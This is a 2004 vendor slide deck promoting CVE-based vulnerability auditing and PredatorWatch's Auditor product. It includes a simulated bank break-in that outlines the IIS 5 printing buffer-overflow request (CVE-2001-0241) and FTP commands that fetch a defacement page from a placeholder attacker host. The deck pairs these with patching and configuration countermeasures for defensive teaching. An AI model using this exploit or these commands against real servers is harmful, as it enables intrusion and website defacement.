Proactive Network Security:
Do You Speak CVE?
Gary S. Miliefsky, CISSP®, FMDHS
President & CEO, PredatorWatch, Inc.
E-mail: garym@predatorwatch.com
November 23, 2004
PredatorWatch, Inc. is a DoD Contractor
About Me
Gary S. Miliefsky
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20+ Security Veteran
Computer Scientist
CISSP®
DHS is funding CVE® at MITRE
(I am a founding member)
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Behind the firewall…a gift from a friend?
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It Doesn’t Take a Rocket-Scientist
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Hackers Cause Risk of Non-compliance
 Government (Executive Order 13231)
 Legal (HIPAA, GLBA, E-SIGN)
 Health Care & Pharmaceutical (HIPAA and CFR
FDA 21 - 11)
 Banking and Finance (E-SIGN, GLBA, FDIC
Audits)
 Higher Education (Due Care and Tort Law)
These markets are being heavily attacked by Hackers on a daily basis.
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If You Currently Have…
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Anti-Virus Software and a Solid Firewall
Access through Virtual Private Network (VPN)
Internet Service Provider (ISP) Spam Protection
Local Browser/Email/JavaScript Protection
Passwords for Email on Your Network
Encryption Servers (IPSEC, SSL/TLS, HTTPS)
Public Key Infrastructure (PKI)—Encryption
Content Proxy (for filtering, Internet acceleration)
Intrusion Detection or Prevention Systems
(IDS or IPS)
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…Is Your Network Safe?
 In short, NO. These “solutions” don’t stop
Hackers.
 Hackers take advantage of common
vulnerabilities and exposures in your network.
 Firewalls can be hard to manage, so they may
not protect you. And they don’t protect you
from internal threats.
 Intrusion Detection Systems require human
intervention and generate false results.
 Intrusion Prevention Systems may block
legitimate access.
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Are You Stopping the Hackers?
 Anti-virus software can only protect against
know viruses—it cannot stop hacker access!
 Passwords often don’t stop clever hackers,
who use readily downloadable tools that
crack them.
 Turning off JavaScript doesn’t stop a hacker
from running other types of code on your
system.
 Hackers can break into Virtual Private
Networks (VPNs)—they aren’t always private!
 Firewalls can be points of entry for hackers.
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What Damage Can Hackers Cause?
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Denial of Service (DoS)
Destruction of Data
Theft of Data
Damage to Your Reputation
Put Your at Risk of Legal Liability
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Hackers Can Deny You Access
 Stop services—Vital programs you need
to have running
 Kill the server—Bringing it down, forcing
your network, even your company, to a
halt
 Change the administrator password,
locking out your system administrator
and letting themselves in to key systems
and files
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Hackers Can Destroy Data
 Crash your system or a node on the network,
causing productivity issues and data loss
 Send garbage data to the system
 Defeat protocols that use date/time of day to
gain access to the system
 Execute PHP code existing on the system
 Execute commands as administrator—erasing
data, altering access—Creating havoc
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Hackers Can Steal Private Data
 Enter your network and retrieve
system info
 Read sensitive files on the system
 Get version numbers of installed
software and attack using that
information
 Obtain access to accounts and private
data
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Serious Network Protection
—How Do You Keep out the Hackers?
 Analyzes Your Network’s Vulnerabilities on a
Regular Basis (CVEs)
 Regularly Review Those Vulnerabilities (CVEs)
 Tune your Firewall against CVE exploits
 Harden your Assets by Removing CVEs
 Make Sure Your Methods are “Tamper-proof”
 Optimized Model Automation of this process is
patent-pending by PredatorWatch, Inc.
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What is the CVE Standard?
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Common Vulnerabilities and Exposures (CVE) is a list or
dictionary that provides common names for publicly known
information security vulnerabilities and exposures. Using a
common name makes it easier to share data across separate
databases and tools that until now were not easily integrated.
This makes CVE the key to information sharing. If a report from
one of your security tools incorporates CVE names, you may
then quickly and accurately access fix information in one or
more separate CVE-compatible databases to remediate the
problem.
CVE is:
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One name for one vulnerability or exposure
One standardized description for each vulnerability or exposure
A dictionary rather than a database
How disparate databases and tools can "speak" the same language
The way to interoperability and better security coverage
A basis for evaluation among tools and databases
Accessible for review or download from the Internet
 Industry-endorsed via the CVE Editorial Board
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PredatorWatch is CVE Compatible
Left to right:
Lawrence C. Hale, U.S. Department of Homeland Security, Deputy Director,
US-CERT delivers 3 CVE Mitre Compliance Certificates to PredatorWatch, Inc.
at CSI, Nov 8, 2004, Washington, D.C.
Gary S. Miliefsky, CISSP, FMDHS, CEO, PredatorWatch, Inc.
Doug Eames, VP of Sales, PredatorWatch, Inc.
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Keep Up to Date on CVEs
 Visit http://cve.mitre.org
 Keep an eye on the SANS/FBI top 20 CVE list
http://www.sans.org/top20/
 Test for the latest CVEs on a daily basis
 Report on your CVEs on a daily, weekly or
monthly basis (DUE DILIGENCE)
 Remove all CVEs that you possibly can (DUE
CARE)
 Block at the Firewall (INCREASE UPTIME)
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E-commerce Real World Scenario:
1. What if you were the CEO, CFO, CIO or CSO
of an E-commerce Merchant or a Brick &
Mortar Retailer using an Internet Payment
Gateway System?
2. What if you had only one CVE in your system?
3. What if anyone could exploit it in 5 minutes?
CVEs in e-Commerce
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VISA Announces vulnerability audit requirements (CISP)
 Over 21,000-member financial institutions, VisaNet processes
over 2,700 transactions/sec during peak season.
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MasterCard requires Quarterly CVE Audits beginning 6/2004 (SDP)
 7% of all of MasterCard's $921.6 billion annual card purchases
take place on web
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Now AMEX (DSS) and Discover (DISC) have launched Audit
requirement programs.
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Soon, all e-Commerce Merchants must detect/remove critical CVEs
to do business on line (see page 49 of MasterCard SDP PDF for
example)
SOURCE: COMPUTERWORLD, April 14, 2004
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What You Should Do To Comply
1. Build Corporate Security Policies that are
ISO17799 compliant:
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American Express DSS
DiscoverCard DISC
MasterCard SCP
VISA CISP
2. Audit and Report on CVEs
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Required by all Credit Card Companies
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What Is The ISO 17799 Standard?
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10 Sections
 Security Policy – To provide management direction & support for information
security
 Organizational Security – Manage information security within the organization
 Asset Classification and Control – To maintain appropriate protection of
organizational assets
 Personnel Security – To reduce the risk of human error, theft, fraud or misuse
of facilities
 Physical & Environmental Security – To prevent unauthorized access, damage
and interference to business premises and information
 Communications and Operations Management – To ensure the correct and
secure operations of information processing facilities
 Access Control – Control access to information
 System Development and Maintenance – To ensure security is built into
information systems
 Business Continuity Management – To counteract interruptions to business
activities and to protect critical business processes from the effects of major
failures or disasters
 Compliance – To avoid breaches of any criminal and civil law, statutory,
regulatory or contractual
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Online Banking Real World Scenario:
1. What if you were the CEO, CFO, CIO or CSO
of Fidelity Trust Bank with $1B under
management?
2. What if you had only one CVE in your system?
3. What if anyone could exploit it in 5 minutes?
Welcome to FidelityTrustBank.com
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FidelityTrustBank.com has CVEs
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Objectives: Find and Remove CVEs
“The most important step towards securing
your network is to shrink the window of
vulnerability as close to zero as possible.
No vulnerabilities means no place to
hack.”
If you don’t:
Hackers will take advantage of you.
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Hacking an Online Bank – The Break In
Do NOT try this at home. It’s Illegal.
The break-in (excerpt from CNET News.com: http://news.com.com/20091017-893228.html):
“One strategy is to attack the hardware itself, exploiting notoriously glitchprone Web systems to gain access to the servers running the bank's online
operations.
"Most banks run Unix Web servers or Microsoft IIS (Internet Information
Server), and both are prone to remote attacks that can allow a hacker to
take control of the server itself," said David Ahmad, the moderator of the
Bugtraq mailing list, one of the leading e-mail lists dedicated to reports of
software vulnerabilities.
Companies including financial institutions subscribe to the list. In April,
Microsoft issued a security patch to plug 10 new holes that could allow
hackers to take full control of computers running the company's IIS
program.”
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The Break In (continued)
“In seizing control of a server, security experts say, a hacker can
also modify any trusted applications to perform malicious
operations. An attack that manipulates such internal applications is
more likely to escape notice by the network's electronic guards.
"Intrusion-detection systems only spot known attacks or behaviors
that indicate a certain class of attack," Ahmad said. "Attacks
against a server might be detected, but a complex applicationbased attack might look like normal behavior."
Financial institutions do make it difficult for employees to move
money, but their systems must be flexible enough to work with
customers who are not subject to the same level of scrutiny. This
could allow an insider to create a fake customer transaction and
authorization to shepherd the money right out of a system. “ –
CNET News.com
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Hacking Methodology – Exploit CVEs
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Footprint
Scan
In this presentation, I will assume that the first
Enumerate
two steps have been done by PredatorWatch
Penetrate
Focus of this presentation, with
Escalate
only one specific example
Pillage
Get Interactive
Expand influence
Deface Website and Steal
Database from simulated Bank
Cleanup
(Denial of Service)
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Common IIS 5 Attacks Against CVEs
Here are the most dangerous IIS 5 attacks
currently:
Hackers take
 Buffer overflows
advantage of this
flaw in the online
 File System Traversal
Bank
 Script source revelation
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Buffer Overflow CVE in IIS v5.0
 CVE-2001-0241
 CVE Version: 20040901 This is an entry on
the CVE list, which standardizes names for
security problems. It was reviewed and
accepted by the CVE Editorial Board before it
was added to CVE.
 Name: CVE-2001-0241
 Description: Buffer overflow in Internet Printing
ISAPI extension in Windows 2000 allows remote
attackers to gain root privileges via a long print
request that is passed to the extension through
IIS 5.0.
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CVE In Detail: IIS Buffer Overflow: IPP
 Internet Printing Protocol (IPP)
functionality is implemented in IIS 5 via
an ISAPI filter
(C:\WINNT\System32\msw3prt.dll)
 This functionality is enabled by default
 Malformed requests for .printer files
invoke this ISAPI and cause a buffer
overflow, resulting in remote SYSTEM
privileges
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CVE Exploit: IIS Buffer Overflows: IPP
Simple to exploit:
GET /null.printer HTTP/1.0
Host: [> 420 char. buffer]
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Deface Online Bank (Simulation)
Before
After
C:\>ftp [hacker-ip]
C:\>get hack-index.html
C:\>rename index.html
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IIS5 Attack Countermeasures
1. IIS5 Checklist (microsoft.com/security)
2. Visit http://www.windowsupdate.com on
a regular basis
3. Install all necessary security and
system patches as required
Repeat Steps 1-3 Religiously!
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Recommends…
THIS ONE IS CRITICAL
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Get Computer Updates…
…Means CVE Management
 Every day there is a new CVE (Common
Vulnerability and Exposure) see
http://cve.mitre.org
 This website /\ is The homepage for
helping you stop hackers and harden your
assets. Why?
 By knowing the CVEs, if you find a system
with a CVE, then you can find a way to
block an exploit that would impact this
asset.
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Protect Against CVE Exploiters
 Detect and Track Assets
 Policy – What to do if offline, I/O, VPN, etc.
 Process – Equip I/O, Laptops, etc.
 Audit your Network for CVEs:
 Careful with free tools – may DoS yourself!
 Lock The Doors against CVE Exploits
 Manage your firewall, daily.
 Cleanup your CVEs
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Protect Against CVE Exploiters
 Detect and Track Assets
 Laptops in and out of the office
 Personal computer or Company asset?
 Firewall, Antivirus, Antispyware, Patches up to date?
 Inbound scan for CVEs – high risk? then quarantine.
 Wireless Routers/LANs
 How many in the building? Encrypted?
Authenticated?
 Servers and other equipment
 Something new on the LAN? Who owns it?
 Something offline repeatedly? Why?
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Protect Against CVE Exploiters
 Audit your Network for CVEs:
 Find a tool you like…
 Google “Laptop Auditor” or “Security Auditor”
 Do an eval of Open Source vs Turnkey
 If you built your Firewall from scratch – go for Open
Source, else, find a Company you can work with and
trust.
 Pick a tool that doesn’t take any assets offline
 Scans and reports on CVEs
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Protect Against CVE Exploiters
 Lock The Doors against CVE Exploits
 Review logs – look for suspicious traffic
 Make sure you setup the VPN interface properly and know
who’s using it and if they are coming in through a secure
tunnel on an insecure or ‘sick’ computer
 Block ports for all inbound/outbound that you don’t use – 445
was exploited by MSBlast and Sasser. Do you need it
open?
 Look at the computers that have CVEs – how long to fix and
what port is it on? Update your rules table until it is fixed.
 Don’t trust all patches. Reinspect for same or new CVEs
 Keep repeating this process, daily.
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Protect Against CVE Exploiters
 Cleanup your CVEs
 Remember the IIS 5.0 vulnerability?
 Did the patch fix it? Yes, good. No? Then, why not shut
off the web-based print server feature of the IIS server –
one quick configuration change and no CVE to exploit.
 Some CVEs can be patched
 Others required intelligent reconfiguration
 Security by Obscurity (usually a no-no) may
actually delay a successful attack against a CVE
until you have a chance to shut down the service,
update the firewall rules table or fix the CVE.
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Introducing PredatorWatch Auditor™…
AN INDUSTRY FIRSTCLIENTLESS QUARANTINE SYSTEM
Auditor™ is the world’s first clientless
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do a better job, while at the same time,
enables IT Managers, Network Security
Consultants and Managed Security
Service Providers (MSSPs) to harden
networks and show best practices for
regulatory compliance.
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PredatorWatch Auditor™ Automates…
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Detection and Tracking of Assets
Auditing your Network for CVEs:
Locking The Doors against CVE Exploits
Cleanup your CVEs
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Auditor™ Features
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World’s Fastest CVE® Vulnerability Assessment Engine
Secure Vulnerability Update Server
Dynamic Rogue Wireless and Laptop Detector
Immediate Audits and On Demand Audits
Patent-pending FirewallBooster™ for major firewalls
PatchBooster™ for Microsoft® SUS
Asset Tracker with built-in MAC/IP Tracker™
Security Policy Builder with ISO®17799 Templates
Patent-pending Regulatory Compliance Reporter
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Auditor™ Benefits
n Automatically detects, audits, quarantines and remediates against
all your computers, servers, desktops, laptops, network
equipment and wireless routers by tight integration with the
firewall.
n Protects your network behind the firewall from common
vulnerabilities and exposures, through frequent, rapid and
automated vulnerability assessment, patch management and
remediation.
n Extending the timetable to remediate, by automatically
reconfiguring the firewall at port and IP level, allowing
organizations to patch during normally scheduled maintenance
windows, rather than during inconvenient and costly intervals.
n Helps enforce policy and ensure regulatory compliance by
constantly auditing corporate security standard
configurations to reduce risk.
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What Analysts Are Saying…
The missing link in network security, behind the
firewall, for the small to medium size enterprise.
– James Hurley, Vice President, Security & Privacy Research
The laptop and wireless detection and
quarantine feature is unique.
– Chris Shipley, Executive Producer, DemoMobile
Finally, a turnkey security solution that really
works for the SME marketplace.
– Jon Oltsik, Senior Analyst
It’s a streamlined vulnerability management
solution with features of a CIO in a box.
– Charles Kolodgy, Research Director, Security Products
A powerful security solution that is simple to use,
easy to deploy and requires little to no training.
– Phebe Waterfield, Security Analyst
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…And Partners
Auditor™ turns an IBM xSeries
into a powerful security
appliance.
- Jim Stallings, Senior Vice President
... a phenomenal
technology/solution. Simply
amazing!
- David Trudeau, Director of Sales
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…And Customers
Banking/GLBA
Insurance/HIPAA
“Inside our firewall, our Auditor™ security appliance
detects and diagnoses potential security flaws that
could cause our bank to be at risk of FDIC IT
Security Audit and GLBA noncompliance…We are
very pleased with the Auditor™.”
- Steve Irish, CIO, Enterprise Bank & Trust Co.
“With Auditor™ on our network, we get regular
validation that we are protected against attack and
enjoy a significant increase in security.”
- William Tyson, SVP, AGIA
Education/E-Sign
“...it is quite common for faculty/staff/students to
plug into computer system without my knowledge...
Auditor™ gives me the ability to get a quick
inventory of which systems are new to the network
and automatically quarantine those that are at risk.”
- Kenneth Kleiner, Systems & Network Manager,
UMASS Lowell
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We Are The Technology Leader…
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The only Vulnerability Management player to develop the patentpending Firewall Booster™ technology to tie and unify Firewall and
Vulnerability Management together.
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The first to dynamically detect rogue and high risk assets (mobile
& wireless) and intelligently quarantine at the Firewall.
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The only Vulnerability Management player to expand into
Enterprise Security Management with asset management, policy
building, patch boosting and regulatory compliance reporting.
4.
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